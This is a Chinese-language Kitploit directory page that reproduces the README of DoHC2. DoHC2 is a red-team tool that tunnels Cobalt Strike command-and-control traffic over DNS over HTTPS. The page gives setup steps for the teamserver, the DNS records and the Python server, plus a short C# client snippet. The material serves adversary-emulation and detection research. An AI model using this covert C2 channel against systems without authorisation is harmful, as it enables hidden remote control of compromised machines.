Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DoHC2 — DoHC2 允许通过 DNS over HTTPS(DoH)利用 Ryan Hanson(https://github.com/ryhanson/ExternalC2)的 ExternalC2 库进行命令与控制(C2)。 | Kitploit
工具/GitHubGitHub/spiderlabs/dohc2
渗透测试框架漏洞利用框架命令与控制红队Payload 开发DNS 分析Archived
GitHubspiderlabs/dohc2

DoHC2

DoHC2 允许通过 DNS over HTTPS(DoH)利用 Ryan Hanson(https://github.com/ryhanson/ExternalC2)的 ExternalC2 库进行命令与控制(C2)。

查看仓库
449936年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

⚠️ 注意:此工具不再处于积极维护状态。

DoHC2

DoHC2 允许通过 HTTPS 上的 DNS (DoH) 利用 Ryan Hanson 的 ExternalC2 库 (https://github.com/ryhanson/ExternalC2) 进行命令与控制 (C2)。该项目专为流行的对抗模拟与红队操作软件 Cobalt Strike (https://www.cobaltstrike.com) 而构建。

演示

该项目于 2018 年 10 月 23 日在 Mitre ATT&CKcon 上发布。

幻灯片: 用 ATT&CK 与安全举措唱反调

博客文章: DOH!DNS Over HTTPS 可能给企业带来风险

图示

截图

用法

  1. 安装并启动 Cobaltstrike teamserver。
  2. 启动一个 beacon_http/beacon_https 监听器 - 注意 这个可以被防火墙隔离,但你需要它才能让 External C2 正常工作。
  3. 加载脚本 'external_c2.cna' 来启动 ExternalC2 端口 2222(关闭防火墙)。
  4. 为 python3 服务器安装依赖。
  5. 允许 53/udp 端口访问互联网(或访问 DoH 提供商的 IP 范围)。
  6. 在你的域名上创建一个 A 记录,指向 teamserver/DNS 服务器 IP,即 [A] entry.example.org -> 000.000.000.000
  7. 创建一个 NS 记录,指向用于发送通道 (INPUTDOMAIN) 的 A 记录,即 [NS] send.example.org -> entry.example.org。
  8. 创建一个 NS 记录,指向用于接收通道 (OUTPUTDOMAIN) 的 A 记录,即 [NS] receive.example.org -> entry.example.org。
  9. 在 DoHC2.py 中更改 INPUTDOMAIN 和 OUTPUTDOMAIN。更改加密密钥/IV - 这用于加密从 Teamserver 到客户端的路径(仅加密 Stager)。根据 DoH 提供商将 max_records 从 1 更改,某些提供商会重新排序返回的记录,目前尚未处理。DNS 服务器使用最大值 5 效果良好。
  10. 启动 python3 DNS 服务器。
  11. 构建 ExternalC2 库。更改 DoHChannel.cs 中的加密密钥/IV 以匹配 python3 服务器。
  12. 按如下所示配置并启动 DoHC2(),确保设置 INPUTDOMAIN、OUTPUTDOMAIN 以及格式为 'https://resolver.example.org/dns-query' 的 DoH 提供商。

服务器

基于 ACME DNS Server 的 Python DNS 服务器

  • 默认情况下,它将原始 DNS 连接到 127.0.0.1:2222 上的 Cobalt Strike Teamserver。
  • 将 INPUTDOMAIN 和 OUTPUTDOMAIN 更改为服务器外部 IP 的 NS 主机:
root@kitploit:~
	pip3 install -r requirements.txt
	sudo python3 ./DoHC2.py

库

在 @ryhanson 的 ExternalC2 基础上增加了以下内容:

  • Channels> DoHChannel.cs - DoH 实现
  • Channels > Base32.cs (来自 https://gist.github.com/BravoTango86/2a085185c3b9bd8383a1f956600e515f)
  • DoHC2.cs - DoH 通道设置/包装器
  • 项目中添加了 Newtonsoft.JSON (https://www.newtonsoft.com/json)

客户端示例

  • 与 ExternalC2 的其余部分一样,DoHC2 对 JScript/DotNetToJS 是 COMVisible,但这只是启动它的一个简单示例。
  • 示例客户端 DoHC2Runner 是一个简单的 C# 程序,用于演示加载库并按如下方式进行设置:
root@kitploit:~
	DoHC2 doh = new DoHC2();
	doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
	doh.Go();

作者

  • David Middlehurst - Twitter- @dtmsecurity

许可证

DoHC2

某些元素由 David Middlehurst、SpiderLabs 创建,如上所述(在使用其他开源项目时,请参阅各自的许可证)。

版权所有 (C) 2018 Trustwave Holdings, Inc.

本程序是自由软件:你可以根据自由软件基金会发布的 GNU 通用公共许可证的条款(许可证的第 3 版或(由你选择的)任何后续版本)重新分发和/或修改它。

分发本程序是希望它会有用,但不提供任何保证;甚至没有适销性或特定用途适用性的隐含保证。有关更多详情,请参阅 GNU 通用公共许可证。

致谢

  • ExternalC2
  • ExternalC2 Spec
  • ACME DNS Server - (Python Server)
  • Python Shared File C2 - (Python Server)
  • Python External_C2_Framework - (Python Server)
  • DNSExfiltrator - Python Server

贡献者

  • xinhaojing - 服务器问题 #1
下载工具